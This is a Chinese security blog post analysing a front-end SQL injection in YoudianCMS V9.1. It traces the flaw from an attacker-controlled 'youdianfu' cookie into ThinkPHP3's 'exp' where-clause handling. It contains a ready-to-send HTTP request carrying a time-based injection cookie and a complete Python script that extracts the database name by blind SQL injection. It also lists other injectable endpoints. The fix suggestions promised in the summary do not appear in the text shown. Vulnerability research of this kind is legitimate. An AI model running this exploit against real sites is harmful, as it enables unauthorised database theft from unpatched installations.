友点CMS V9.1 前台SQL注入

本文详细介绍了友点CMS V9.1存在的前台SQL注入漏洞,攻击者可借此获取数据库内容。漏洞涉及变量控制,允许注入,并在系统核心框架中存在SQL注入风险。通过特定条件,攻击者可以构造SQL语句,影响系统安全。此外,文中还列举了其他可能的注入点,并提供了漏洞复现和修复建议。

漏洞描述

友点 CMS V9.1 前台存在 sql 注入,攻击者可获取数据库内容

漏洞影响

youdiancms <=9.1

漏洞复现

GET /index.php/Channel/voteAdd HTTP/1.1
Host: www.youdiancms90.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pn9iofrfklen68u4205veml8s0; youdianAdminLangSet=cn; XDEBUG_SESSION=PHPSTORM; youdianfu[0]=exp; youdianfu[1]==(select 1 from(select sleep(3))a)
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


漏洞细节

变量控制

这里首先有一个可以直接赋值的变量,在 App/Lib/Action/HomeBaseAction.class.php

class HomeBaseAction extends BaseAction {
	protected $_fromUser = '';  //微信内部号
	protected $_isWx=0;  //是否是微信浏览器访问
	function _initialize(){
		parent::_initialize();
		$this->_assignPublicVar();
		$this->_assignConfigVar();
		$this->getTemplateConfig();
		
		//获取微信帐号=======================
		if( isset( $_GET['fu'])  && !empty( $_GET['fu']) ){
			$this->_fromUser = $_GET['fu'];
			cookie('fu', $this->_fromUser, 31536000); //31536000秒=1年,有效期为1年
		}else if( cookie('fu') ) {
			$this->_fromUser = cookie('fu');
		}
		//===============================
	}

主要看到下面赋值的位置,如果 GET 了一个 fu ,那么就会将这个的值赋值给 cookie,这里的 cookie方法可以跟进去看看,最后是加了一个前缀

$name = $config['prefix'] . $name;

最后是将 GETfu 的值赋值给了 youdianfu

我们如果一开始就给 youdianfu 赋值,那么我们就可以直接控制变量 $this->_fromUser

sql注入

接下来可以找哪里用到了这个 $this->_fromUser ,可以直接搜索

我们这里使用参考文章中使用的 voteAdd 方法,在 App/Lib/Action/Home/ChannelAction.class.php

public function voteAdd(){
    header("Content-Type:text/html; charset=utf-8");
    $item = $_REQUEST['item'];
    $appid = intval($_REQUEST['appid']);
    $fromUser = !empty($this->_fromUser) ? $this->_fromUser : get_client_ip();
    $_REQUEST = YdInput::checkTextbox( $_REQUEST );
    $m = D('Admin/WxVote');
    if($m->hasVoted($appid, $fromUser) ){
        $this->ajaxReturn(null, '', 2);
    }

这里会检测有没有 $this->_fromUser ,我们可以通过 cookie 设置,然后直接进入 $m->hasVoted($appid, $fromUser),我们跟进 App/Lib/Model/Admin/WxVoteModel.class.php

function hasVoted($appid, $fromUser){
    $where['AppID'] = $appid;
    $where['FromUser'] = $fromUser;
    $n = $this->where($where)->count();
    if($n>0){
        return true;
    }else{
        return false;
    }
}

这里将 $fromUser 的值存进数组 $where ,然后调用 $this->where ,这个 CMS 的核心框架使用的是 thinkphp3thinkphp3 有一些 sql 注入漏洞,这里也是可以的,而且还没有 I() 函数保护

跟进 $this->where($where)->count() ,这里使用了魔术方法 __call,比较容易看懂,这里将值全部传进了 $options 然后进入 $this->getField(strtoupper($method).'('.$field.') AS tp_'.$method)

$options['field']    =  $field;
$options =  $this->_parseOptions($options);
...
$options['limit'] = 1;
$result = $this->db->select($options);

将值全部存进 $options,我们可以看一下这里面的内容

之后进入 $this->db->select($options),在 App/Core/Lib/Core/Db.class.php

public function select($options=array()) {
    $this->model  =   $options['model'];
    $sql   = $this->buildSelectSql($options);
    $cache  =  isset($options['cache'])?$options['cache']:false;
    if($cache) { // 查询缓存检测
        $key =  is_string($cache['key'])?$cache['key']:md5($sql);
        $value   =  S($key,'','',$cache['type']);
        if(false !== $value) {
            return $value;
        }
    }
    $result   = $this->query($sql);

这里获取 model 后进入 $this->buildSelectSql($options) ,这看起来像是构建 sql 语句的方法,接着进入 $this->parseSql($this->selectSql,$options)$this->selectSql 是查询语句模板

parseSql 是获取 $options 中的值,然后替换模板得到最终的 sql 语句,我们来看看怎么获取到 where

$this->parseWhere(isset($options['where'])?$options['where']:'')
if(is_string($where)) {
    ...
}else{ // 使用数组或者对象条件表达式
    if(isset($where['_logic'])) {
        ...
    }else{
        // 默认进行 AND 运算
        $operate    =   ' AND ';
    }
    foreach ($where as $key=>$val){
        $whereStr .= '( ';
        if(0===strpos($key,'_')) {
            // 解析特殊条件表达式
            $whereStr   .= $this->parseThinkWhere($key,$val);
        }else{
            // 查询字段的安全过滤
            if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
                throw_exception(L('_EXPRESS_ERROR_').':'.$key);
            }
            // 多条件支持
            $multi = is_array($val) &&  isset($val['_multi']);
            $key = trim($key);
            if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                $array   =  explode('|',$key);
                $str   = array();
                foreach ($array as $m=>$k){
                    $v =  $multi?$val[$m]:$val;
                    $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                }
                $whereStr .= implode(' OR ',$str);
            }elseif(strpos($key,'&')){
                $array   =  explode('&',$key);
                $str   = array();
                foreach ($array as $m=>$k){
                    $v =  $multi?$val[$m]:$val;
                    $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                }
                $whereStr .= implode(' AND ',$str);
            }else{
                $whereStr   .= $this->parseWhereItem($this->parseKey($key),$val);
            }
        }
        $whereStr .= ' )'.$operate;
    }
    $whereStr = substr($whereStr,0,-strlen($operate));

这里我把无关紧要的语句全部用 ... 代替了

我们的 $where

AppID=0
FromUser=['exp','=(select 1 from (select sleep(3))a)']

根据值来判断,取到 FromUser 的时候,我们会来到这里

$whereStr   .= $this->parseWhereItem($this->parseKey($key),$val);
$whereStr = '';
if(is_array($val)) {
    if(is_string($val[0])) {
        if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT|NOTLIKE|LIKE)$/i',$val[0])) { // 比较运算
            $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
        }elseif('exp'==strtolower($val[0])){ // 使用表达式
            $whereStr .= ' ('.$key.' '.$val[1].') ';
        }elseif(preg_match('/^(NOTIN|NOT IN|IN)$/i',$val[0])){ // IN 运算
            if(isset($val[2]) && 'exp'==$val[2]) {
                $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
            }else{
                if(is_string($val[1])) {
                     $val[1] =  explode(',',$val[1]);
                }
                $zone   =   implode(',',$this->parseValue($val[1]));
                $whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
            }
        }elseif(preg_match('/(NOTBETWEEN|NOT BETWEEN|BETWEEN)/i',$val[0])){ // BETWEEN运算
            $data = is_string($val[1])? explode(',',$val[1]):$val[1];
            $whereStr .=  ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
        }else{
            throw_exception(L('_EXPRESS_ERROR_').':'.$val[0]);
        }
    }
}

可以看到 $val[0] 是字符串的时候,如果 $val[0]= exp ,那么就会直接拼接 $val[1]

$whereStr .= ' ('.$key.' '.$val[1].') ';

就会变成

(`FromUser` =(select 1 from(select sleep(3))a))

这里需要 $val[1] 自己带上一个等于号

最后返回 sql 语句

SELECT COUNT(*) AS tp_count FROM `youdian_wx_vote` WHERE ( `AppID` = 0 ) AND (  (`FromUser` =(select 1 from(select sleep(3))a))  ) LIMIT 1  

Exp

import requests
import string
import time

s = requests.session()

def check(baseurl, payload):
    url = baseurl + "/index.php/Channel/voteAdd"
    cookies = {
        "PHPSESSID": "pn9iofrfklen68u4205veml8s0",
        "youdianAdminLangSet": "cn",
        "youdianfu[0]": "exp",
        "youdianfu[1]": payload
    }
    starttime = time.time()
    s.get(url, cookies=cookies)
    endtime = time.time()
    if endtime - starttime >= 3:
        return True
    return False

def getLength(baseurl):
    for i in range(30):
        payload = "=(select 1 from(select if(length(database())={0},sleep(3),0))a)".format(str(i))
        if check(baseurl, payload):
            print("[+] database len: " + str(i))
            return i

def getDatabase(baseurl, length):
    stringset = string.digits + string.ascii_letters
    database = ""
    for i in range(length):
        for j in stringset:
            payload = "=(select 1 from(select if(ascii(substr(database(), {0}, 1))={1},sleep(3),0))a)".format(str(i + 1), str(ord(j)))
            if check(baseurl, payload):
                database += str(j)
                print("[+] " + database)
     
if __name__ == '__main__':
    url = 'http://127.0.0.1/youdiancms9.0'
    length = getLength(url)
    getDatabase(url, length)

一些其他可注入的点

/index.php/Wap/Channel/voteAdd

还有一些其他的,都是需要微信访问的,这个只要满足使用 $this->_fromUser 且最后进入了 where 方法的,几乎都可以被注入,因此这里挺多地方都是可以注入的

总结

这个漏洞就是满足了两点,一是使用了已知的存在漏洞的框架,二是存在可控的变量,这也为我们代码审计提供了一些思路,可以多找找控制 COOKIE 的地方,这方面的防护相较于 GET POST 更为薄弱一些,然后就是多积累一些框架漏洞,不知道什么时候就使用到了。

参考

  • https://forum.butian.net/share/132

欢迎朋友们加群交流
在这里插入图片描述
如果不能直接加入,请添加群主微信
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值